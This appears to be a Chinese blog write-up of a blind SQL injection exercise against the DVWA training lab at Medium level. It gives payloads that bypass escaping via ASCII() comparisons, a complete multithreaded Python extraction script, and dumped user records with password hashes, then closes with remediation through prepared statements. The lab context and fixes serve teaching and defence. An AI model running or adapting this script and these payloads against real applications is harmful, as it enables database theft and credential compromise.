SQL盲注漏洞详解 DVWA Medium

文章目录

    • 一、测试概述
    • 二、Medium级别安全机制分析
      • [2.1 后端源码](#2.1 后端源码)
      • [2.2 与Low级别的差异](#2.2 与Low级别的差异)
      • [2.3 安全机制缺陷](#2.3 安全机制缺陷)
    • 三、漏洞验证
      • [3.1 基础测试](#3.1 基础测试)
      • [3.2 绕过单引号转义测试](#3.2 绕过单引号转义测试)
    • 四、漏洞利用过程
      • [4.1 获取数据库名](#4.1 获取数据库名)
      • [4.2 获取表信息](#4.2 获取表信息)
      • [4.3 获取列信息](#4.3 获取列信息)
      • [4.4 获取记录数](#4.4 获取记录数)
      • [4.5 提取用户数据](#4.5 提取用户数据)
    • 五、自动化利用脚本
      • [5.1 脚本说明](#5.1 脚本说明)
      • [5.2 核心函数](#5.2 核心函数)
      • [5.3 使用方法](#5.3 使用方法)
    • [六、Low vs Medium 对比](#六、Low vs Medium 对比)
      • [6.1 注入方式对比](#6.1 注入方式对比)
      • [6.2 绕过技巧](#6.2 绕过技巧)
    • 七、漏洞危害
      • [7.1 影响范围](#7.1 影响范围)
      • [7.2 攻击链](#7.2 攻击链)
    • 八、修复建议
      • [8.1 当前漏洞代码](#8.1 当前漏洞代码)
      • [8.2 修复方案](#8.2 修复方案)
      • [8.3 安全最佳实践](#8.3 安全最佳实践)

一、测试概述

项目 内容
测试目标 http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
安全级别 Medium
漏洞类型 Boolean-based Blind SQL Injection(数字型)
测试日期 2026-06-08
测试工具 Chrome DevTools MCP + Python自动化脚本
风险等级 高危(High)

二、Medium级别安全机制分析

2.1 后端源码

php 复制代码
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    
    // 使用mysqli_real_escape_string转义特殊字符
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    
    // SQL查询(无引号包裹$id)
    $query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
    
    if (mysqli_num_rows($result) > 0) {
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

2.2 与Low级别的差异

特性 Low级别 Medium级别
请求方式 GET POST
输入方式 文本框 下拉选择框
输入过滤 mysqli_real_escape_string
SQL查询 WHERE user_id = '$id' WHERE user_id = $id
注入类型 字符型(需单引号闭合) 数字型(无需引号)

2.3 安全机制缺陷

  1. 仅转义特殊字符mysqli_real_escape_string转义了单引号、双引号等,但SQL查询中$id没有引号包裹
  2. 数字型注入 :由于查询是WHERE user_id = $id(无引号),可以直接注入数字型SQL语句
  3. 前端限制可绕过:下拉选择框只是前端限制,直接发送POST请求即可绕过

三、漏洞验证

3.1 基础测试

测试 Payload 结果 结论
正常查询 1 exists 页面正常
无效ID 999 MISSING 可区分真假
真条件 1 AND 1=1 exists 注入成功
假条件 1 AND 1=2 MISSING 布尔盲注确认

3.2 绕过单引号转义测试

测试 Payload 结果 说明
字符比较 1 AND SUBSTRING(DATABASE(),1,1)='d' FAIL 单引号被转义
ASCII比较 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 OK 数值比较绕过转义
MID函数 1 AND MID(DATABASE(),1,1)='d' FAIL 单引号被转义
LIKE 1 AND DATABASE() LIKE 'dvwa%' FAIL 单引号被转义
长度测试 1 AND LENGTH(DATABASE())=4 OK 纯数字比较有效

关键发现:使用ASCII()函数进行数值比较可以绕过单引号转义


四、漏洞利用过程

4.1 获取数据库名

sql 复制代码
-- 获取数据库名长度
1 AND LENGTH(DATABASE())=4  → exists ✓

-- 逐字符猜解(使用ASCII数值比较)
1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100  → exists ✓  (100 = 'd')
1 AND ASCII(SUBSTRING(DATABASE(),2,1))=118  → exists ✓  (118 = 'v')
1 AND ASCII(SUBSTRING(DATABASE(),3,1))=119  → exists ✓  (119 = 'w')
1 AND ASCII(SUBSTRING(DATABASE(),4,1))=97   → exists ✓  (97 = 'a')

结果:数据库名 = "dvwa"

4.2 获取表信息

sql 复制代码
-- 表数量
1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1  → exists ✓

-- 表名(逐字符ASCII比较)
1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117  → exists ✓  (117 = 'u')

结果:1个表,表名 = "users"

4.3 获取列信息

sql 复制代码
-- 列数量
1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8  → exists ✓

-- 列名(8列)
user_id, first_name, last_name, user, password, avatar, last_login, failed_login

4.4 获取记录数

sql 复制代码
1 AND (SELECT COUNT(*) FROM users)=5  → exists ✓

结果:5条记录

4.5 提取用户数据

user_id user first_name last_name password (MD5)
1 admin admin admin 21232f297a57a5a743894a0e4a801fc3
2 gordonb gordon brown e99a18c428cb38d5f260853678922e03
3 1337 hack me 8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo pablo picasso 0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy bob smith 5f4dcc3b5aa765d61d8327deb882cf99

五、自动化利用脚本

5.1 脚本说明

dvwa_blind_sqli_exploit_medium.py

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA SQL盲注漏洞利用脚本 - Medium级别
======================================
目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
级别: Medium
类型: Numeric-based Blind SQL Injection

Medium级别特点:
1. 使用POST请求
2. 使用mysqli_real_escape_string转义单引号
3. SQL查询无引号: WHERE user_id = $id
4. 数字型注入,通过ASCII()数值比较绕过单引号转义
"""

import requests
import string
import sys
import json
import time
import io
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed

sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

# ==================== 配置 ====================
BASE_URL = "http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"
MAX_WORKERS = 10
REQUEST_TIMEOUT = 10

COOKIE = {
    "security": "medium",
    "PHPSESSID": "fsj0kvpbl4gl3c2cb34dmpmpe5"
}

STATS = {"total_requests": 0, "start_time": None}

RESULTS = {
    "timestamp": datetime.now().isoformat(),
    "target": BASE_URL,
    "security_level": "medium",
    "database_name": "",
    "tables": [],
    "columns": {},
    "data": []
}

session = requests.Session()
session.cookies.update(COOKIE)


def check_payload(payload):
    """
    Medium级别: POST请求,数字型注入
    通过ASCII()数值比较绕过单引号转义
    Payload示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
    """
    data = {"id": payload, "Submit": "Submit"}
    try:
        resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
        STATS["total_requests"] += 1
        return "User ID exists" in resp.text
    except Exception as e:
        print(f"  [!] Error: {e}")
        return False


def check_batch(payloads):
    """并发检查多个Payload"""
    results = []
    
    def _check(item):
        payload, ascii_val = item
        return ascii_val if check_payload(payload) else None
    
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        futures = {executor.submit(_check, item): item for item in payloads}
        for future in as_completed(futures):
            r = future.result()
            if r is not None:
                results.append(r)
    return results


def blind_extract_ascii(query, max_len=30, ascii_range=None):
    """
    盲注提取函数(ASCII数值比较版)
    
    原理: 使用ASCII(SUBSTRING(...))=数值 绕过单引号转义
    示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
    """
    if ascii_range is None:
        ascii_range = list(range(97, 123))  # a-z
    
    result = ""
    for pos in range(1, max_len + 1):
        payloads = [
            (f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
            for v in ascii_range
        ]
        
        matched = check_batch(payloads)
        if matched:
            result += chr(matched[0])
            sys.stdout.write(chr(matched[0]))
            sys.stdout.flush()
        else:
            break
    
    print()
    return result


def get_database_name():
    """获取数据库名"""
    print("[*] Extracting database name...")
    # 先获取长度
    for length in range(1, 20):
        if check_payload(f"1 AND LENGTH(DATABASE())={length}"):
            print(f"[+] DB length: {length}")
            break
    
    name = blind_extract_ascii("DATABASE()", 20, list(range(97, 123)))
    print(f"[+] Database: {name}")
    RESULTS["database_name"] = name
    return name


def get_table_count(db):
    """获取表数量"""
    print(f"[*] Getting table count in {db}...")
    for i in range(1, 20):
        payload = f"1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i}"
        if check_payload(payload):
            print(f"[+] Table count: {i}")
            return i
    return 0


def get_table_name(db, idx):
    """获取表名"""
    print(f"[*] Extracting table name[{idx}]...")
    q = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {idx},1"
    name = blind_extract_ascii(q, 30, list(range(97, 123)))
    print(f"[+] Table: {name}")
    return name


def get_column_count(table):
    """获取列数量"""
    print(f"[*] Getting column count for {table}...")
    for i in range(1, 30):
        payload = f"1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table}')={i}"
        if check_payload(payload):
            print(f"[+] Column count: {i}")
            return i
    return 0


def get_column_name(table, idx):
    """获取列名"""
    print(f"[*] Extracting column name[{idx}]...")
    q = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {idx},1"
    # 列名可能包含字母和下划线
    charset = list(range(97, 123)) + [95]  # a-z + _
    name = blind_extract_ascii(q, 30, charset)
    print(f"[+] Column: {name}")
    return name


def get_row_count(table):
    """获取记录数"""
    print(f"[*] Getting row count for {table}...")
    for i in range(1, 20):
        if check_payload(f"1 AND (SELECT COUNT(*) FROM {table})={i}"):
            print(f"[+] Row count: {i}")
            return i
    return 0


def get_field(table, col, row):
    """获取字段值"""
    print(f"[*] Extracting {col}[row {row}]...")
    q = f"SELECT {col} FROM {table} LIMIT {row},1"
    # 字段值可能包含字母、数字、特殊字符
    charset = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [64, 46, 95, 45, 36]
    val = blind_extract_ascii(q, 100, charset)
    print(f"[+] {col}: {val}")
    return val


def save_results():
    """保存结果到JSON"""
    with open("dvwa_blind_sqli_medium_results.json", "w", encoding='utf-8') as f:
        json.dump(RESULTS, f, indent=2, ensure_ascii=False)
    print(f"\n[+] Results saved to dvwa_blind_sqli_medium_results.json")


def print_stats():
    """打印性能统计"""
    elapsed = time.time() - STATS["start_time"]
    print("\n" + "=" * 60)
    print("性能统计")
    print("=" * 60)
    print(f"总请求数: {STATS['total_requests']}")
    print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
    if elapsed > 0:
        print(f"请求速度: {STATS['total_requests']/elapsed:.2f} 次/秒")
    print("=" * 60)


def main():
    """
    执行流程:
    1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名
    4. 获取列数量 → 5. 获取列名 → 6. 获取记录数
    7. 逐行逐列提取数据 → 8. 保存结果
    """
    STATS["start_time"] = time.time()
    
    print("=" * 60)
    print("DVWA SQL Blind Injection Exploit - Level: Medium")
    print(f"并发线程: {MAX_WORKERS}")
    print("=" * 60)
    
    try:
        # 1. 数据库名
        db = get_database_name()
        
        # 2-3. 表信息
        tables = []
        for i in range(get_table_count(db)):
            tables.append(get_table_name(db, i))
        RESULTS["tables"] = tables
        print(f"[+] Tables: {', '.join(tables)}")
        
        # 4-5. 列信息
        for t in tables:
            cols = []
            for i in range(get_column_count(t)):
                cols.append(get_column_name(t, i))
            RESULTS["columns"][t] = cols
            print(f"[+] Columns in {t}: {', '.join(cols)}")
        
        # 6-7. 提取数据
        if "users" in tables:
            rows = get_row_count("users")
            print(f"\n[*] Extracting users table ({rows} rows)...")
            cols = RESULTS["columns"]["users"]
            
            for r in range(rows):
                print(f"\n--- Row {r+1} ---")
                row_data = {c: get_field("users", c, r) for c in cols}
                RESULTS["data"].append(row_data)
        
        # 8. 保存
        save_results()
        print_stats()
        print("\n[+] Done!")
        
    except KeyboardInterrupt:
        print("\n[!] Interrupted")
        save_results()
        print_stats()
    except Exception as e:
        print(f"\n[!] Error: {e}")
        save_results()
        print_stats()


if __name__ == "__main__":
    main()

核心绕过技术:

python 复制代码
# Low级别:直接使用字符比较
payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' AND '1'='1"

# Medium级别:使用ASCII数值比较绕过单引号转义
payload = f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={ascii_value}"

优化策略:

  • 并发请求(10线程)
  • Session复用TCP连接
  • ASCII数值比较绕过转义
  • 性能统计(请求数、耗时、速度)

5.2 核心函数

python 复制代码
def check_payload(payload):
    """POST请求,数字型注入"""
    data = {"id": payload, "Submit": "Submit"}
    resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
    return "User ID exists" in resp.text

def blind_extract_ascii(query, max_len=30, ascii_range=None):
    """使用ASCII数值比较进行盲注提取"""
    for pos in range(1, max_len + 1):
        payloads = [
            (f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
            for v in ascii_range
        ]
        matched = check_batch(payloads)  # 并发检查
        if matched:
            result += chr(matched[0])

5.3 使用方法

bash 复制代码
python dvwa_blind_sqli_exploit_medium.py

结果保存至 dvwa_blind_sqli_medium_results.json


六、Low vs Medium 对比

6.1 注入方式对比

特性 Low级别 Medium级别
注入类型 字符型 数字型
闭合方式 需要单引号 ' 无需闭合
Payload示例 1' AND '1'='1 1 AND 1=1
字符提取 SUBSTRING(...)='a' ASCII(SUBSTRING(...))=97
请求方式 GET POST

6.2 绕过技巧

级别 防御措施 绕过方法
Low 直接注入
Medium mysqli_real_escape_string 使用ASCII()数值比较

七、漏洞危害

7.1 影响范围

危害类型 程度 说明
数据泄露 严重 获取全部用户数据(含密码哈希)
数据篡改 严重 可修改/删除数据库内容
权限提升 严重 获取管理员账户

7.2 攻击链

复制代码
POST请求绕过 → 数字型盲注 → ASCII数值比较 → 枚举数据库结构 → 提取用户凭证

八、修复建议

8.1 当前漏洞代码

php 复制代码
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

8.2 修复方案

方案1:参数化查询(推荐)

php 复制代码
$id = $_POST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, "i", $id);  // 'i' 表示整数类型
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

方案2:强制类型转换

php 复制代码
$id = (int)$_POST[ 'id' ];  // 强制转换为整数
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

8.3 安全最佳实践

措施 优先级 说明
参数化查询 使用预处理语句,从根本上防止注入
类型验证 对数字型输入强制类型转换
最小权限 数据库账户使用最小必要权限
WAF防护 部署Web应用防火墙

相关推荐
顾凌陵1 小时前
RCE漏洞实战:远程命令执行
网络安全
持敬chijing1 小时前
Web渗透之SQL注入-SQLMAP使用笔记
数据库·sql·安全·web安全·网络安全·网络攻击模型
Chengbei112 小时前
CTF & 红队专用 AI 求解AI 引擎 Cairn 系统,化轻量化部署,红队、CTF、漏洞研究一站式解决方案
java·人工智能·安全·web安全·网络安全·系统安全
持梦远方2 小时前
Windows 7 永恒之蓝漏洞复现及影子账户创建实战
网络安全
X7x53 小时前
PDR模型:构建网络安全的黄金三角
网络安全·网络攻击模型·安全威胁分析·安全架构·pdr模型
这个人需要休息3 小时前
优惠卷类型漏洞---优惠卷的并发使用
mysql·网络安全·逻辑漏洞·后端架构
黄金龙PLUS3 小时前
基于ARX结构的新型序列密码算法FlashLight
算法·网络安全·密码学·哈希算法·同态加密
顾凌陵4 小时前
PHP序列化漏洞实战:反序列化攻击的奥秘
安全·网络安全
lcreek19 小时前
SQL 注入实战:DVWA High 完整测试指南
网络安全·sql注入